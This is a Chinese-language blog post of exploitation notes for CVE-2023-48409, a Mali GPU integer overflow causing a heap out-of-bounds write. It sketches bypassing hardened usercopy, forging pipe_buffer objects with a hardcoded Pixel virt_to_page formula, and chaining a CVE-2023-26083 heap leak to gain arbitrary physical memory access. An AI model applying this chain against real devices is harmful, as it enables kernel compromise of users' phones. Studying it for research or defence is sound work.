CVE-2023-48409 Mali GPU 整数溢出导致堆越界写

漏洞原语:假设分配的大小为 0x3004​, 会执行 copy_from_user(ptr-0x4000, from, 0x7004),导致越界写

由于 CONFIG_HARDENED_USERCOPY 如果 to 是 slab 中的地址,copy_from_user 会确保拷贝时不会跨越 slab 中的对象

static inline __must_check unsigned long
_copy_from_user(void *to, const void __user *from, unsigned long n)
{
unsigned long res = n;
might_fault();
if (!should_fail_usercopy() && likely(access_ok(from, n))) {
instrument_copy_from_user(to, from, n);
res = raw_copy_from_user(to, from, n);
}
if (unlikely(res))
memset(to + (n - res), 0, res);
return res;
}

利用思路:分配大内存让 kmalloc 从 页分配器中申请内存,绕过 CONFIG_HARDENED_USERCOPY

漏洞对象:pipe_buffer

struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

控制 page 指针做任意物理内存读写,而且 pixel 上 virt2page 直接可以写死,不像 x86 vmemap_base 是随机的(可能和物理地址随机化有关)

__u64 __virt_to_page(__u64 addr)
{
return ((((__u64)(((signed long long)((__u64)(addr) << 8) >> 8) + \
0x8000000000LL) >> 6) & 0x3FFFFFFFFFFFFC0LL) + \
0xFFFFFFFEFFE00000);
}

伪造思路:使用 CVE-2023-26083 泄露堆地址 kbase_kcpu_command_queue​ ,然后伪造结构体

struct pipe_buffer {
.page = virt_to_page(addr),
.offset = 0,
.len = 0x40,
.ops = kcpu_addr + 0x50, // 伪造空的 ops
.flags = PIPE_BUF_FLAG_CAN_MERGE,
unsigned long private = 0
};

然后释放 kbase_kcpu_command_queue​ 用 pipe_buffer 占位,就能够用 pipe_buffer 修改另一个 pipe_buffer.

CVE-2023-48409 Mali GPU 整数溢出导致堆越界写的更多相关文章

  1. Linux Exploit系列之二 整数溢出

    整数溢出 虚拟机安装:Ubuntu 12.04(x86) 什么是整数溢出? 存储大于最大支持值的值称为整数溢出.整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代 ...

  2. gdk-pixbuf tiff_image_parse函数整数溢出漏洞

    受影响系统:gdk-pixbuf gdk-pixbuf 2.36.6描述:CVE(CAN) ID: CVE-2017-2870 gdk-pixbuf是一个用于以各种格式加载图像和像素缓冲处理的库. 使 ...

  3. Linux Kernel 整数溢出漏洞

    漏洞名称: Linux Kernel 整数溢出漏洞 CNNVD编号: CNNVD-201311-062 发布时间: 2013-11-07 更新时间: 2013-11-07 危害等级:    漏洞类型: ...

  4. windows下整数溢出分析

    0x00前言 整数溢出就是往存储整数的内存单位存放的数据大于该内存单位所能存储的最大值,整数溢出有时候间接导致缓冲区溢出.如JPEG溢出漏洞(MS04-028). 0x01整数溢出分类 整数溢出可以分 ...

  5. Mali GPU OpenGL ES 应用性能优化--測试+定位+优化流程

    1. 使用DS-5 Streamline定位瓶颈 DS-5 Streamline要求GPU驱动启用性能測试,在Mali GPU驱动中激活性能測试对性能影响微不足道. 1.1 DS-5 Streamli ...

  6. Mali GPU OpenGL ES 应用性能优化--基本方法

    1. 经常使用优化工具 watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvTXlBcnJvdw==/font/5a6L5L2T/fontsize/400/fil ...

  7. PWN INTEGER OVERFLOW 整数溢出

    0x00      Preview Last few passage I didn't conclude some important points and a general direction o ...

  8. Linux (x86) Exploit 开发系列教程之二(整数溢出)

    (1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void s ...

  9. BEC合约整数溢出漏洞还原与分析

    一.币圈一秒,人间一年 有道是币圈一日,人间一年.这个说法又得升级了,叫币圈一秒,人间一年. 前不久,币圈又出大事啦.BEC智能合约被爆出整数溢出漏洞,导致黑客能无限印币,在一次交易中,也就那么几秒钟 ...

  10. CVE-2012-0774:Adobe Reader TrueType 字体整数溢出漏洞调试分析

    0x01 TrueType 字体 TTF 字体是 Apple 和 Microsoft 两家公司共同推出的字体格式,现在已经广泛的运用于 Windows 操作系统,其中 PDF 文档也可以嵌入 TTF ...

随机推荐

  1. 音视频入门-6-ffmpeg小实验-从v4l2层获取PC ubuntu摄像头图像

    0. 进行本代码实验的前提 确保已经在ubuntu内正确安装了ffmpeg 手把手安装教程可以参考我的另一篇博文<音视频入门-4-ffmpeg命令快速体验音视频开发/ ffmpeg编译过程经历的 ...

  2. Sealos Devbox 发布,珍爱生命,远离 CI/CD

    水滴攻击太阳系用的是最原始的攻击方式:撞击!却又如此有效率. 当我们搞了一堆容器.编排.CI/CD.DevOps,发明了一大堆没什么用的名词之后,最终发现这些操作都是花里胡哨,让开发者越陷越深. 最终 ...

  3. C# 的运算符和作用域

    // C# 运算符 // 表达式 表达式有操作数(operand)和运算符(operator)构成: // 常见的运算符 + - * / 和 new // x ?? y 如果x为null, 则计算机过 ...

  4. 新建 Blazor 项目 WebAssembly

  5. 激活windows教程

    新建bat文件 [批处理文件:后缀是 bat ] 输入代码: slmgr/skms kms.03k.org slmgr/ato 然后以管理员运行 :

  6. 基于 KubeSphere 的 AI 平台开发实践

    概述 本文基于 "KubeSphere & Friends 2021 Meetup 北京站" 分享主要内容整理而来,详细内容建议观看视频,本文有一定删减. 作者:胡涛(Da ...

  7. 东方通信基于 KubeSphere 的云计算落地经验

    作者:周峰 吴昌泰 公司简介 东方通信股份有限公司(以下简称"东方通信")创立于 1958 年,是一家集硬件设备.软件.服务为一体的整体解决方案提供商.公司于 1996 年成功改制 ...

  8. KubeSphere 社区双周报 | 4.8 深圳站 Meetup 火热报名中 | 2023.3.17-3.30

    KubeSphere 社区双周报主要整理展示新增的贡献者名单和证书.新增的讲师证书以及两周内提交过 commit 的贡献者,并对近期重要的 PR 进行解析,同时还包含了线上/线下活动和布道推广等一系列 ...

  9. 工作中的技术总结_ thymeleaf的应用 _select&input的数据回显 _20210910

    工作中的技术总结_ thymeleaf的应用 _select&input的数据回显 _20210910 在需要用户输入的场合,常常会有对用户填入数据的验证,对数据的验证不通过则需要返回到表单页 ...

  10. Dbeaver24.2.2安装和使用教程(免费的数据库管理工具)

    前言 DBeaver是免费和开源(GPL)为开发人员和数据库管理员通用数据库工具. DBeaver 通过 JDBC 连接到数据库,可以支持几乎所有的数据库产品,包括:MySQL.PostgreSQL. ...